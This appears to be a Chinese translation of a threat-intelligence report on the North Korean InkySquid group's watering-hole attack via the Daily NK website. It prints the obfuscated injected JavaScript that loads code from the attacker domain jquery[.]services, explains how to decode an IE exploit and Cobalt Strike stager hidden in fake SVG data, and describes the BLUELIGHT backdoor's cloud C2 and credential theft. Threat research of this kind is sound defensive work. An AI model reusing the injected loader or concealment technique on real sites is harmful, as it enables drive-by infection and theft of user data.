朝鮮InkySquid APT組織利用瀏覽器漏洞感染受害者。
2021年4月,Volexity研究人員識別出了通過www.dailynk[.]com網(wǎng)站加載到惡意子域名的jquery[.]services可疑代碼。加載惡意代碼的URL包括:
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.3.2
這些URL指向的是Daily NK網(wǎng)站使用的合法文件,但是內(nèi)容被攻擊者修改了,其中包含重定向用戶從攻擊者控制的域名jquery[.]services加載惡意JS。攻擊者控制的代碼只加入了很短的時間就被移除了,使得攻擊者活動的識別變得非常困難。
CVE-2020-1380
Volexity研究人員發(fā)現(xiàn)攻擊者利用的首個漏洞是CVE-2020-1380,一個IE 0 day漏洞利用。攻擊者在Daily NK網(wǎng)站的下述合法文件中加入了一行代碼:
hxxps://www.dailynk[.]com/wp-includes/js/jquery/jquery.min.js?ver=3.5.1
加入到Daily NK網(wǎng)站的混淆的代碼如下:
function vgrai(){var e=document.createElement(“script”);e.src=fecet(“w6625I》7x=y37t4;=5t48xrt5>4t52105x8t<t:6t0s=/x0=y5”,15),document.head&&document.head.appendChild(e)}function vdgie(){const e=window.navigator.userAgent,t=e.indexOf(“rv:11.0 ”),i=e.indexOf(“Trident/”);return t>0||i>0}vdgie()&&vgrai();
加入以上代碼后,如果用戶用IE來訪問Daily NK,頁面就會從以下URL加載其他的JS文件:
hxxps://ui.jquery[.]services/responsive-extend.min.js
請求時,由于有正確的IE User-Agent,主機就會作為其他混淆的JS代碼。初始重定向后,攻擊者會選擇將惡意代碼隱藏在合法代碼中。在本例中,攻擊者使用了“bPopUp” JS庫。這一選擇具有2個結果:
分析JS的人可能會誤認為其是合法的,因為大多數(shù)代碼都是非惡意的;
識別惡意JS代碼的自動化解決方案也可能會誤認為這些代碼是非惡意的,因為代碼大部分可以與合法庫內(nèi)容匹配。
攻擊者使用的漏洞利用代碼中還包含許多混淆在變量中的字符串,以使其顯得像合法的SVG內(nèi)容。攻擊者隱藏字符串的示例如圖1所示:
圖 1. SVG變量中混淆的字符串
為解密這些字符串,需要執(zhí)行以下步驟:
通過M43.2字符串將path變量中的d屬性中的數(shù)據(jù)分割開來;
將分割出的數(shù)據(jù)的每個元素通過空格符再次分割,會得到一個數(shù)字列表;
將這些數(shù)字轉成整數(shù);
如果整數(shù)大于30,就減去17,并加到生成的字符串中。如果整數(shù)小于等于30,就丟棄該數(shù)字。
總的來看,一共使用了3個假的SVG對象。一旦這些對象中的字符串替換為JS,識別漏洞利用就很容易了。解密和替換后的代碼如圖2所示:
圖 2. CVE-2020-1380實現(xiàn)
代碼對應的是TrendMicro研究人員發(fā)布的CVE-2020-1380漏洞PoC代碼。
成功利用后,JS會使用相同的方法來解密最終的SVG變量,最終生成一個十六進制編碼的Cobalt Strike stager,然后解碼和執(zhí)行。本例中,下載其他shellcode的URL包括:
hxxps://ui.jquery[.]services/swipeout.min.js
hxxps://ui.jquery[.]services/swipeout.min.css
hxxps://ui.jquery[.]services/slider.min.css
BLUELIGHT
在另一個樣本中,攻擊者使用jquery[.]services子域名來存放一個新的惡意軟件家族。文件存放位置為:
hxxps://storage.jquery[.]services/log/history
history文件是一個XOR編碼的定制惡意軟件副本,惡意軟件開發(fā)者和Volexity都將其命名為BLUELIGHT。命名依據(jù)是惡意軟件PDB字符串:
E:\Development\BACKDOOR\ncov\Release\bluelight.pdb
BLUELIGHT是Cobalt Strike成功傳播后的第二個payload。BLUELIGHT惡意軟件使用不同的云服務提供商作為C2。惡意軟件樣本使用Microsoft Graph API進行C2操作。最開始的時候,BLUELIGHT使用硬編碼的參數(shù)來進行oauth 2 token認證??蛻舳苏J證后,BLUELIGHT就會在OneDrive appfolder文件夾下創(chuàng)建子目錄,創(chuàng)建的子目錄名有:
logo
normal
background
theme
round
文件夾和子目錄建立后,就會以JSON對象的格式來收集以下信息:
用戶名
計算機名
操作系統(tǒng)版本
Web IP
默認接口的本地IP
本地時間
植入的二進制文件是32位還是64位
進程SID授權登記
進程文件名
安裝的反病毒軟件列表
受感染的機器是否運行虛擬機
這些數(shù)據(jù)會經(jīng)過XOR編碼為一個二進制blob并上傳。所有上傳的文件都會以。jpg作為擴展,不同的子目錄和文件名表明不同類型的命令數(shù)據(jù)。
C2循環(huán)在初始上傳偵查數(shù)據(jù)后開始,大約30秒循環(huán)一次。前5分鐘內(nèi),每個循環(huán)會截圖,并以時間戳作為文件名上傳到normal子目錄。5分鐘后,截圖每隔5分鐘上傳一次。
在每個循環(huán)中,客戶端會通過美劇background子目錄來查詢新的命令。文件名表明要執(zhí)行的命令,文件的內(nèi)容提供命令相關的進一步信息。支持的命令包括:
執(zhí)行和下載shellcode
下載和啟動可執(zhí)行文件,然后上傳程序輸出
獲取IE、Edge、Chrome、Naver Whale等支持的瀏覽器中的cookie和密碼數(shù)據(jù)庫
遞歸檢索路徑和上傳文件元數(shù)據(jù);
產(chǎn)生一個進程來遞歸檢索路徑,以zip文件形式上傳文件;
中止文件上傳線程。
卸載。
命令文件在處理后會被刪除,大多數(shù)命令生成的文件會上傳到round目錄。但zip upload會使用theme子目錄。